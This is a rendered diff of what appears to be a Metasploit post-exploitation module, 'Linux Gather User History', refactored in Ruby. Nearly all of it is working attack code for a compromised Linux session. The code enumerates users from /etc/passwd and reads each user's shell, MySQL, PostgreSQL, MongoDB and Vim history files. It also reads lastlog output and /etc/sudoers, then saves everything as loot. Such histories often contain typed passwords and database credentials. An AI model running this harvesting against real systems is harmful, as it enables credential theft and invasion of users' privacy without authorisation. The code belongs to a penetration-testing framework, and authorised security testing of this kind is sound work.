@@ -11,142 +11,124 @@ class Metasploit3 < Msf::Post
11
11
include Msf ::Post ::File
12
12
include Msf ::Post ::Linux ::System
13
13
14
-
15
- def initialize ( info = { } )
16
- super ( update_info ( info ,
17
- 'Name' => 'Linux Gather User History' ,
18
- 'Description' => %q{
19
- This module gathers user specific information.
20
- User list, bash history, mysql history, vim history,
21
- lastlog and sudoers.
22
- } ,
23
- 'License' => MSF_LICENSE ,
24
- 'Author' =>
25
- [
26
- # based largely on get_bash_history function by Stephen Haywood
27
- 'ohdae <bindshell[at]live.com>'
28
- ] ,
29
- 'Platform' => [ 'linux' ] ,
30
- 'SessionTypes' => [ 'shell' , 'meterpreter' ]
31
- ) )
32
-
14
+ def initialize ( info = { } )
15
+ super ( update_info ( info ,
16
+ 'Name' => 'Linux Gather User History' ,
17
+ 'Description' => %q{
18
+ This module gathers the following user-specific information:
19
+ shell history, MySQL history, PostgreSQL history, MongoDB history,
20
+ Vim history, lastlog, and sudoers.
21
+ } ,
22
+ 'License' => MSF_LICENSE ,
23
+ 'Author' =>
24
+ [
25
+ # based largely on get_bash_history function by Stephen Haywood
26
+ 'ohdae <bindshell[at]live.com>'
27
+ ] ,
28
+ 'Platform' => [ 'linux' ] ,
29
+ 'SessionTypes' => [ 'shell' , 'meterpreter' ]
30
+ ) )
33
31
end
34
32
35
33
def run
36
34
distro = get_sysinfo
37
35
38
- print_good ( " Info:" )
36
+ print_good ( ' Info:' )
39
37
print_good ( "\t #{ distro [ :version ] } " )
40
38
print_good ( "\t #{ distro [ :kernel ] } " )
41
39
42
- users = execute ( "/bin/cat /etc/passwd | cut -d : -f 1" )
43
- user = execute ( "/usr/bin/whoami" )
40
+ user = execute ( '/usr/bin/whoami' )
41
+ users = execute ( '/bin/cat /etc/passwd | cut -d : -f 1' ) . chomp . split
42
+ users = [ user ] if user != 'root' || users . blank?
44
43
45
- mount = execute ( "/bin/mount -l" )
46
- get_bash_history ( users , user )
47
- get_sql_history ( users , user )
48
- get_vim_history ( users , user )
49
- last = execute ( "/usr/bin/last && /usr/bin/lastlog" )
50
- sudoers = cat_file ( "/etc/sudoers" )
44
+ vprint_status ( "Retrieving history for #{ users . length } users" )
45
+ shells = %w{ ash bash csh ksh sh tcsh zsh }
46
+ users . each do |u |
47
+ home = get_home_dir ( u )
48
+ shells . each do |shell |
49
+ get_shell_history ( u , home , shell )
50
+ end
51
+ get_mysql_history ( u , home )
52
+ get_psql_history ( u , home )
53
+ get_mongodb_history ( u , home )
54
+ get_vim_history ( u , home )
55
+ end
51
56
52
- save ( "Last logs" , last ) unless last . nil?
53
- save ( "Sudoers" , sudoers ) unless sudoers . nil? || sudoers =~ /Permission denied/
57
+ last = execute ( '/usr/bin/last && /usr/bin/lastlog' )
58
+ sudoers = cat_file ( '/etc/sudoers' )
59
+ save ( 'Last logs' , last ) unless last . blank?
60
+ save ( 'Sudoers' , sudoers ) unless sudoers . blank? || sudoers =~ /Permission denied/
54
61
end
55
62
56
- def save ( msg , data , ctype = " text/plain" )
57
- ltype = " linux.enum.users"
63
+ def save ( msg , data , ctype = ' text/plain' )
64
+ ltype = ' linux.enum.users'
58
65
loot = store_loot ( ltype , ctype , session , data , nil , msg )
59
66
print_status ( "#{ msg } stored in #{ loot . to_s } " )
60
67
end
61
68
62
69
def get_host
63
70
case session . type
64
71
when /meterpreter/
65
- host = sysinfo [ " Computer" ]
72
+ host = sysinfo [ ' Computer' ]
66
73
when /shell/
67
- host = session . shell_command_token ( " hostname" ) . chomp
74
+ host = session . shell_command_token ( ' hostname' ) . chomp
68
75
end
69
-
70
76
print_status ( "Running module against #{ host } " )
71
-
72
- return host
77
+ host
73
78
end
74
79
75
80
def execute ( cmd )
76
81
vprint_status ( "Execute: #{ cmd } " )
77
82
output = cmd_exec ( cmd )
78
- return output
83
+ output
79
84
end
80
85
81
86
def cat_file ( filename )
82
87
vprint_status ( "Download: #{ filename } " )
83
88
output = read_file ( filename )
84
- return output
89
+ output
85
90
end
86
91
87
- def get_bash_history ( users , user )
88
- if user == "root" and users != nil
89
- users = users . chomp . split ( )
90
- users . each do |u |
91
- if u == "root"
92
- vprint_status ( "Extracting history for #{ u } " )
93
- hist = cat_file ( "/root/.bash_history" )
94
- else
95
- vprint_status ( "Extracting history for #{ u } " )
96
- hist = cat_file ( "/home/#{ u } /.bash_history" )
97
- end
98
-
99
- save ( "History for #{ u } " , hist ) unless hist . nil? || hist =~ /No such file or directory/
92
+ def get_home_dir ( user )
93
+ home = execute ( "echo ~#{ user } " )
94
+ if home . empty?
95
+ if user == 'root'
96
+ home = '/root'
97
+ else
98
+ home = "/home/#{ user } "
100
99
end
101
- else
102
- vprint_status ( "Extracting history for #{ user } " )
103
- hist = cat_file ( "/home/#{ user } /.bash_history" )
104
- vprint_status ( hist )
105
- save ( "History for #{ user } " , hist ) unless hist . nil? || hist =~ /No such file or directory/
106
100
end
101
+ home
107
102
end
108
103
109
- def get_sql_history ( users , user )
110
- if user == "root" and users != nil
111
- users = users . chomp . split ( )
112
- users . each do |u |
113
- if u == "root"
114
- vprint_status ( "Extracting SQL history for #{ u } " )
115
- sql_hist = cat_file ( "/root/.mysql_history" )
116
- else
117
- vprint_status ( "Extracting SQL history for #{ u } " )
118
- sql_hist = cat_file ( "/home/#{ u } /.mysql_history" )
119
- end
120
-
121
- save ( "History for #{ u } " , sql_hist ) unless sql_hist . nil? || sql_hist =~ /No such file or directory/
122
- end
123
- else
124
- vprint_status ( "Extracting SQL history for #{ user } " )
125
- sql_hist = cat_file ( "/home/#{ user } /.mysql_history" )
126
- vprint_status ( sql_hist ) if sql_hist
127
- save ( "SQL History for #{ user } " , sql_hist ) unless sql_hist . nil? || sql_hist =~ /No such file or directory/
128
- end
104
+ def get_shell_history ( user , home , shell )
105
+ vprint_status ( "Extracting #{ shell } history for #{ user } " )
106
+ hist = cat_file ( "#{ home } /.#{ shell } _history" )
107
+ save ( "#{ shell } history for #{ user } " , hist ) unless hist . blank? || hist =~ /No such file or directory/
129
108
end
130
109
131
- def get_vim_history ( users , user )
132
- if user == "root" and users != nil
133
- users = users . chomp . split
134
- users . each do |u |
135
- if u == "root"
136
- vprint_status ( "Extracting VIM history for #{ u } " )
137
- vim_hist = cat_file ( "/root/.viminfo" )
138
- else
139
- vprint_status ( "Extracting VIM history for #{ u } " )
140
- vim_hist = cat_file ( "/home/#{ u } /.viminfo" )
141
- end
142
-
143
- save ( "VIM History for #{ u } " , vim_hist ) unless vim_hist . nil? || vim_hist =~ /No such file or directory/
144
- end
145
- else
146
- vprint_status ( "Extracting history for #{ user } " )
147
- vim_hist = cat_file ( "/home/#{ user } /.viminfo" )
148
- vprint_status ( vim_hist )
149
- save ( "VIM History for #{ user } " , vim_hist ) unless vim_hist . nil? || vim_hist =~ /No such file or directory/
150
- end
110
+ def get_mysql_history ( user , home )
111
+ vprint_status ( "Extracting MySQL history for #{ user } " )
112
+ sql_hist = cat_file ( "#{ home } /.mysql_history" )
113
+ save ( "MySQL history for #{ user } " , sql_hist ) unless sql_hist . blank? || sql_hist =~ /No such file or directory/
114
+ end
115
+
116
+ def get_psql_history ( user , home )
117
+ vprint_status ( "Extracting PostgreSQL history for #{ user } " )
118
+ sql_hist = cat_file ( "#{ home } /.psql_history" )
119
+ save ( "PostgreSQL history for #{ user } " , sql_hist ) unless sql_hist . blank? || sql_hist =~ /No such file or directory/
120
+ end
121
+
122
+ def get_mongodb_history ( user , home )
123
+ vprint_status ( "Extracting MongoDB history for #{ user } " )
124
+ sql_hist = cat_file ( "#{ home } /.dbshell" )
125
+ save ( "MongoDB history for #{ user } " , sql_hist ) unless sql_hist . blank? || sql_hist =~ /No such file or directory/
126
+ end
127
+
128
+ def get_vim_history ( user , home )
129
+ vprint_status ( "Extracting Vim history for #{ user } " )
130
+ vim_hist = cat_file ( "#{ home } /.viminfo" )
131
+ save ( "Vim history for #{ user } " , vim_hist ) unless vim_hist . blank? || vim_hist =~ /No such file or directory/
151
132
end
133
+
152
134
end
0 commit comments